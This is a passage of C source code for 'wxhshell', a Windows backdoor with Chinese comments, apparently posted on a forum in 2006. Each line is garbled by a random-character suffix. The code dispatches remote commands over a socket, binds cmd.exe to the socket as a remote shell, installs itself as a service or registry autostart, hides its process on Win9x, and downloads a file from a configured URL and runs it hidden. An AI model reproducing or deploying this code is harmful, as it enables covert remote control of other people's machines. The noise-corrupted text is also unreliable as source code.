    switch(cmd[0]) { >xu}eWSz  
  QW :-q(s  
  // 帮助 "(j.:jayd  
  case '?': { <]I[|4J 7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -Si'[5@  
    break; U1(<1eTyu  
  } \.p{~ Hv  
  // 安装 | ZBv;BW  
  case 'i': { T)Z2=5V  
    if(Install()) {'dpRq{c|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |aef$f5  
    else rqk1 F~j|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^yDCX  
    break; >QRpRHtb  
    } 5_";EED  
  // 卸载  TA;  
  case 'r': { J \U}U'qP  
    if(Uninstall()) \[&`PD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <(x[Qp/5P  
    else 1c);![O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); De`)`\U  
    break; '9cShe  
    } \IY)2C<e  
  // 显示 wxhshell 所在路径 T'.U?G  
  case 'p': { p~1,[]k  
    char svExeFile[MAX_PATH]; 7m0sF<P{g  
    strcpy(svExeFile,"\n\r"); YGrmco?G  
      strcat(svExeFile,ExeFile); !J ")TP=  
        send(wsh,svExeFile,strlen(svExeFile),0); s hjb b  
    break; j48cI3C  
    } ,aS6|~ac4  
  // 重启 %!$ua_8  
  case 'b': { >-rDBk ;K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )M(;:#le  
    if(Boot(REBOOT)) c;DWSgIw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A,-UW+:  
    else { ZY-UQ4_|u  
    closesocket(wsh); X8l[B{|  
    ExitThread(0); {IEc{y7?gO  
    } NN1d?cOn  
    break; e$>.x< Eq  
    } %lPAq  
  // 关机 _YzItge*  
  case 'd': { HHu|X`tc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "R@N}q<*v2  
    if(Boot(SHUTDOWN)) #W[/N|~wx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cE[B (e  
    else { 2ILMf?}  
    closesocket(wsh); vum6O 3  
    ExitThread(0); 88 ~BE ^  
    } Z 4NNrA#  
    break; HV'xDy[)  
    } $I&DAGV0  
  // 获取shell *FyBkG'  
  case 's': { vk\a>};  
    CmdShell(wsh); hnha1 f  
    closesocket(wsh); 7z!|sPW](b  
    ExitThread(0); Y$SZqW0!/  
    break; ecIxiv\  
  } PY=(|2tb4  
  // 退出 =YlsJ={h  
  case 'x': { #JVw`=P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fiA_6  
    CloseIt(wsh); BeZr5I"`}  
    break; mk?&`_X1  
    }  B[jCe5!w  
  // 离开 )G6{JL-I  
  case 'q': { UD1R _bL}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~oO>6  
    closesocket(wsh); xaQ]Vjw  
    WSACleanup(); ("UcjB^62  
    exit(1); -g8G47piX:  
    break; K!^x+B|  
        } $%!'c# F  
  } -'btKz*9  
  } $p@V1"x  
} MBxfZ4I  
  // 提示信息 dc UaZfON  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W/COrgbW  
} LwIl2u*  
  } ?)<DEu:Y  
^(7<L<H  
  return; !4zSE,1  
} $%9.qy\8  
/IS_-h7>XS  
// shell模块句柄 ^g/    
int CmdShell(SOCKET sock) 4'JuK{/ A7  
{ &P 'cf|KI  
STARTUPINFO si; (VeX[*}I  
ZeroMemory(&si,sizeof(si)); b 'p0T1K(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4PG]L`J{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \fG?j@Qx  
PROCESS_INFORMATION ProcessInfo; Z,AF^,H[  
char cmdline[]="cmd"; X5i?B b.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `l+{jrRb<  
  return 0; @-y.Y}k#$~  
} UMsJg7~  
*aF#on{  
// 自身启动模式 Dizc#!IGU  
int StartFromService(void) >jxo,xz  
{ |r2 U4 ^  
typedef struct  ! K:  
{ e= $p(  
  DWORD ExitStatus; %5<uQc9  
  DWORD PebBaseAddress; AA[(rw  
  DWORD AffinityMask; gZbC[L  
  DWORD BasePriority; apsR26\^  
  ULONG UniqueProcessId; G3O`r8oZcJ  
  ULONG InheritedFromUniqueProcessId; Gs^hqT;h  
}   PROCESS_BASIC_INFORMATION; Wj0=cIb  
%Wy$m?gD  
PROCNTQSIP NtQueryInformationProcess; Cx(|ZD^  
" %$jl0i_c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B3 fKb#T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o%dKi]  
+[386  
  HANDLE             hProcess; ia#Z$I6  
  PROCESS_BASIC_INFORMATION pbi; tKtKW5n~  
F*" "n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3ZRi@=kWz  
  if(NULL == hInst ) return 0; /'KCW_Q  
nT.i|(xd.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i\E}!Rwl+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z7B>7}i-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '%U'%')  
WE;QEA/  
  if (!NtQueryInformationProcess) return 0; MDkcG"O  
_XLGXJ[B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J^t-pU  
  if(!hProcess) return 0; UQZ<sp4v;  
CJ+/j=i;~c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mO];+=3v8  
39 D!e&  
  CloseHandle(hProcess); Cu*+E%P9`  
SM%N ]/@U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7wKN  
if(hProcess==NULL) return 0; FKhmg&+>  
!h\.w9o[  
HMODULE hMod; b EB3 #uc  
char procName[255]; kw,eTB<;R  
unsigned long cbNeeded; VRe7Q0  
kg0X2^#b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @)[Q6w`x  
RsTz3]`yv  
  CloseHandle(hProcess); 9g %1^$R  
25e*W>SLw  
if(strstr(procName,"services")) return 1; // 以服务启动 ~SKV%  
.`./MRC  
  return 0; // 注册表启动 (i..7B:  
} (2 nSZRB  
n1yIQ8F  
// 主模块 Dn x` !  
int StartWxhshell(LPSTR lpCmdLine) ?w^MnK0U)  
{ c? Z M<Y"  
  SOCKET wsl; rV6&:\  
BOOL val=TRUE; :#_Ne?\a@  
  int port=0; H?]%b!gQG  
  struct sockaddr_in door; c5 ^CWk K  
FM{^ND9x  
  if(wscfg.ws_autoins) Install(); AvP$>Alc  
]iI2  
port=atoi(lpCmdLine); f\p#3IwwH  
}%^N9AA8  
if(port<=0) port=wscfg.ws_port; dWc'RwL  
oRDqN]  
  WSADATA data; j p"hbV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \kN?7b^  
d_7v1)j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "2l$}G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "Zh3,  
  door.sin_family = AF_INET; P8& BtA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |DUWB;  
  door.sin_port = htons(port); uU$YN-  
o]R*6$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '{>R-}o[3  
closesocket(wsl); sej$$m R  
return 1; 7uUo DM  
} (5rfeSA^  
MUQj7.rNa  
  if(listen(wsl,2) == INVALID_SOCKET) { + *xi&|%  
closesocket(wsl);  =1MVF  
return 1; H18.)yHX  
} LyRbD$m  
  Wxhshell(wsl); "O}u2B b  
  WSACleanup(); qV$\E=%fhM  
K*!qt(D&  
return 0; `;~A  
QsemN7B "<  
} 9Sey&x  
)44c[Z  
// 以NT服务方式启动 @PL.7FM<v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <%Al(Lm0  
{ }Fq~!D Ee  
DWORD   status = 0; f (Su  
  DWORD   specificError = 0xfffffff; e 48N[p  
[_BQ%7D U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;2y4^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >0X_UDAWz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [r#m +R"N  
  serviceStatus.dwWin32ExitCode     = 0; W9D~:>^YP  
  serviceStatus.dwServiceSpecificExitCode = 0; JGHQzC  
  serviceStatus.dwCheckPoint       = 0; dZWO6k9[H  
  serviceStatus.dwWaitHint       = 0; Q8H+=L:  
5:yRFzhqd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #c%F pR4  
  if (hServiceStatusHandle==0) return; v ^R:XdH  
"@^^niSFl  
status = GetLastError(); Ga]\~31NE  
  if (status!=NO_ERROR) f2LiCe.?  
{ koojF|H>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +RBX2$kB  
    serviceStatus.dwCheckPoint       = 0; le|Rhs%Z%  
    serviceStatus.dwWaitHint       = 0; goqm6L^Cu  
    serviceStatus.dwWin32ExitCode     = status; C~-.zQ$  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?/}N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;5 p;i 8m  
    return; wJc`^gj  
  } Y"  Ut  
oQiRjDLx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &cp `? k  
  serviceStatus.dwCheckPoint       = 0; J#?` l,  
  serviceStatus.dwWaitHint       = 0; *'cyFu$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jwL\|B oE  
} fW w+'xF!  
l`<1Y|  
// 处理NT服务事件,比如:启动、停止 egmNX't6f5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yZV Y3<]  
{ IZ_?1%q>}  
switch(fdwControl) O))YJh"'_  
{ #&}j'oD|N  
case SERVICE_CONTROL_STOP: XW.k%H4@  
  serviceStatus.dwWin32ExitCode = 0; Nu;?})tF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HcQ)XJPK  
  serviceStatus.dwCheckPoint   = 0; QJy1j~9x  
  serviceStatus.dwWaitHint     = 0; K>vi9,4/ks  
  { $%6.lQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yvWM]A  
  } 9RPZj>ezjA  
  return; ;(-Wc9=  
case SERVICE_CONTROL_PAUSE: tc0(G~.N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $@HW|Y  
  break; 7n)ob![\d  
case SERVICE_CONTROL_CONTINUE: U4N H9-U'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T'ei>]y]  
  break; TD sjNFe3  
case SERVICE_CONTROL_INTERROGATE: [XhG7Ly  
  break; RT. %\)))  
}; Alk+MwjR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `t"7[Zk  
} f>iDq C4  
cE^Ljk  
// 标准应用程序主函数 L0)w~F ?m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %Jji<M]  
{ fuU 3?SG  
Z*+y?5+L"P  
// 获取操作系统版本 Z<iK(?@O  
OsIsNt=GetOsVer(); .L~ NX/V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dsn(h5,Q'  
_fdD4-2U  
  // 从命令行安装 jmG)p|6  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?PYZW5  
ZPG~@lU  
  // 下载执行文件 kni{1Gr  
if(wscfg.ws_downexe) { Iqci}G%r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :*ZijN*{)$  
  WinExec(wscfg.ws_filenam,SW_HIDE); VHi'~B#'*  
} <@$+uZt+  
S.Q:O{]  
if(!OsIsNt) { Q?bCQZ{-Lh  
// 如果时win9x,隐藏进程并且设置为注册表启动 %ol\ sO|  
HideProc(); [Z2{S-)UM  
StartWxhshell(lpCmdLine); mM r$~^P:  
} ]XASim:A  
else 'YJ~~o  
  if(StartFromService()) |\Q2L;4C  
  // 以服务方式启动 &Oc `|r*  
  StartServiceCtrlDispatcher(DispatchTable); <TTBIXV  
else /:v}Ni"6nF  
  // 普通方式启动 !sp`oM  
  StartWxhshell(lpCmdLine); q"5\bh1"  
'ka}x~EF  
return 0; rd;E /:`5  
}
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只看该作者 1 发表于: 2006-10-10
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